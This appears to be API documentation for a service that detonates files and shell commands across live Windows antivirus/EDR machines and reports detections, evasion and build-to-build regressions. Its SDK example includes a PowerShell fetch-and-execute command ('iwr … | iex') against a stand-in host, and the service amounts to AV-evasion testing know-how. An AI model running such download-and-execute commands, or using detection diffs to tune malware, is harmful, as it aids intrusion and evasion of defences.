API v1
Detonate binaries across 19 real Windows AV/EDR VMs. 25 input formats, desktop PNG/MP4 evidence, SSE events, SARIF/STIX exports, batch uploads, and signed webhooks.
2. Auth & Scopes
Operational routes require an sc_live_... key via header (/docs, /llms.txt, /openapi.json, and GET /v1/formats are public):
Authorization: Bearer sc_live_YOUR_API_KEY X-API-Key: sc_live_YOUR_API_KEY
| Scope | Access |
|---|---|
fleet:read | /v1/fleet, /v1/fleet/versions/history, /v1/me, /v1/usage |
scans:read | /v1/scans*, /wait, /events, /export, /evidence/*, /samples/*, /webhooks/deliveries, /v1/usage |
scans:write | POST /v1/scans, POST /v1/scans/batch, /rescan, /cancel, POST/DELETE /share, POST /v1/webhooks/test |
public | GET /v1/formats, GET /openapi.json, GET /llms.txt, GET /v1/shared/{share_token} |
3. Supported Formats
25 extensions · GET /v1/formats| Format | Description | Launch Method |
|---|---|---|
| Executables & Libraries | ||
.exe | Windows PE executable | Direct execution / Kernel USB-HID |
.scr | Screensaver PE binary | Direct execution |
.com | DOS / Command executable | Direct execution |
.dll | Dynamic-link library (native & .NET) | regsvr32 + rundll32 + .NET Reflection + custom export |
.ocx | ActiveX control library | regsvr32 + rundll32 |
.cpl | Control Panel applet | control.exe + Control_RunDLL |
.msi | Windows Installer package | msiexec.exe + UI wizard clicker |
| Scripts & Shortcuts | ||
.ps1 | PowerShell script | powershell.exe -ExecutionPolicy Bypass |
.bat / .cmd | Batch & command scripts | cmd.exe |
.vbs / .vbe | VBScript & encoded VBScript | Windows Script Host |
.js / .jse | JScript & encoded JScript | Windows Script Host |
.wsf / .wsh | Windows Script File & Host | Windows Script Host |
.hta | HTML Application | mshta.exe |
.lnk | Windows Shortcut | ShellExecuteW (preserves target args & cwd) |
| Archives & DLL Sideloading | ||
.zip → .exe | ZIP archive with executable | Extract + MOTW → execute payload |
.zip → .lnk | ZIP archive with shortcut | Extract + MOTW → run shortcut |
.zip → exe + dll | DLL sideloading bundle | Auto-selects executable co-located with sibling .dll |
.zip (encrypted) | Password-protected ZIP | Custom password or auto infected / malware / virus / 1234 / pass |
.7z / .rar | 7-Zip & RAR archives | Extract + MOTW + auto DLL sideloading |
| Disk Images | ||
.iso / .img / .vhd / .vhdx | Optical & virtual disk images | Mount-DiskImage -Access ReadOnly → copy payload + companion DLLs with MOTW → execute |
4. Credits & Rates
1.0 CR = $1.00 = 1 full 60s scan across all 19 live VMs (180s = 2.0 CR, 300s = 3.0 CR). Unused credits never expire.
Top-ups: $5–$500 | Volume bonus: +10% ($25+) · +15% ($100+) · +20% ($250+)
5. Endpoints
| Endpoint | Scope | Notes |
|---|---|---|
GET/v1/formats | public | All 25 supported input extensions & launch methods. |
GET/openapi.json | public | Pruned OpenAPI 3.1 JSON schema (alias /api/v1/openapi.json). |
GET/llms.txt | public | LLM-ready API specification (alias /v1/llms.txt). |
GET/v1/me | fleet:read | Key limits, balance, active perks. |
GET/v1/usage?days=30 | scans:read | 30d scan counts, detections, spend. |
GET/v1/fleet?sellable_only=true | fleet:read | All 19 real Windows AV/EDR engines with AV/DB versions & canary state. |
GET/v1/fleet/versions/history?limit=14 | fleet:read | Daily AV & DB signature snapshots (limit 1–90). |
POST/v1/quote | scans:read | Exact price + signed quote_token. |
POST/v1/scans | scans:write | Multipart submit (file, engines, timeout_s, internet, network_mode, admin, motw, priority, args, entry_export, password, quote_token, webhook_url, tags, note, client_request_id / Idempotency-Key). |
POST/v1/scans/command | scans:write | Submit ClickFix / shell command (command, launcher: powershell|cmd|win_r|mshta, timeout_s: 60|180|300|600, network_mode, admin, motw). |
GET/v1/scans/diff?a=<id>&b=<id> | scans:read | Build-vs-build diff (alias GET /v1/diff): fixed, regressed, still-detected engines & PE X-Ray deltas. |
POST/v1/scans/batch | scans:write | Submit 1–10 files with shared options. |
GET/v1/scans | scans:read | Filter by status, sha256, tag, verdict=detected|clean, since. |
GET/v1/scans/{id} | scans:read | Full report: static_xray, evasion_summary, anti_vm_summary, per-engine state, kill_vector & evidence[]. |
GET/v1/scans/{id}/wait?timeout_s=30 | scans:read | Long-poll until done or cancelled. |
GET/v1/scans/{id}/events | scans:read | SSE stream (engine_update, heartbeat, scan_complete). |
GET/v1/scans/{id}/export?format=sarif|stix|csv|markdown|json | scans:read | Export verdicts in CI/SOAR formats. |
POST/v1/scans/{id}/share | scans:write | Create expiring read-only share link ({expires_in_hours}). |
DEL/v1/scans/{id}/share | scans:write | Revoke all share tokens for a scan. |
GET/v1/shared/{share_token} | public | Fetch sanitized shared report by token. |
POST/v1/scans/{id}/rescan | scans:write | Re-run owned sample with updated options. |
POST/v1/scans/{id}/cancel | scans:write | Cancel queued scan & refund reserved credits. |
GET/v1/scans/{id}/evidence/{ev_id} | scans:read | Download desktop PNG screenshot or MP4 capture. |
GET/v1/samples/{hash} | scans:read | Owner-scoped lookup by MD5 / SHA-1 / SHA-256. |
POST/v1/webhooks/test | scans:write | Send signed webhook.test delivery. |
GET/v1/webhooks/deliveries | scans:read | Recent webhook HTTP status & latency. |
Official Python SDK & CLI
pip install https://api.scanner.st/sdk/scanner_st-1.0.0-py3-none-any.whl export SCANNER_API_KEY=sc_live_... scanner scan ./build.exe --wait scanner cmd "iwr https://example.test/a.ps1 | iex" --launcher powershell --wait scanner diff <scan_a> <scan_b> scanner fleet
6. Exports & Sharing
Export via ?format=sarif (GitHub Advanced Security), stix (STIX 2.1), csv, or markdown. Issue expiring read-only links via POST /v1/scans/{id}/share.
7. Webhook Verification (X-Scanner-Signature)
import hashlib, hmac, time
def verify_webhook(secret: str, ts: str, raw_body: bytes, sig_hdr: str) -> bool:
if abs(time.time() - float(ts)) > 300:
return False
expected = hmac.new(secret.encode(), f"{ts}.".encode() + raw_body, hashlib.sha256).hexdigest()
parts = dict(kv.split("=", 1) for kv in sig_hdr.split(",") if "=" in kv)
return hmac.compare_digest(expected, parts.get("v1", "").lower())
8. Playground
Ready.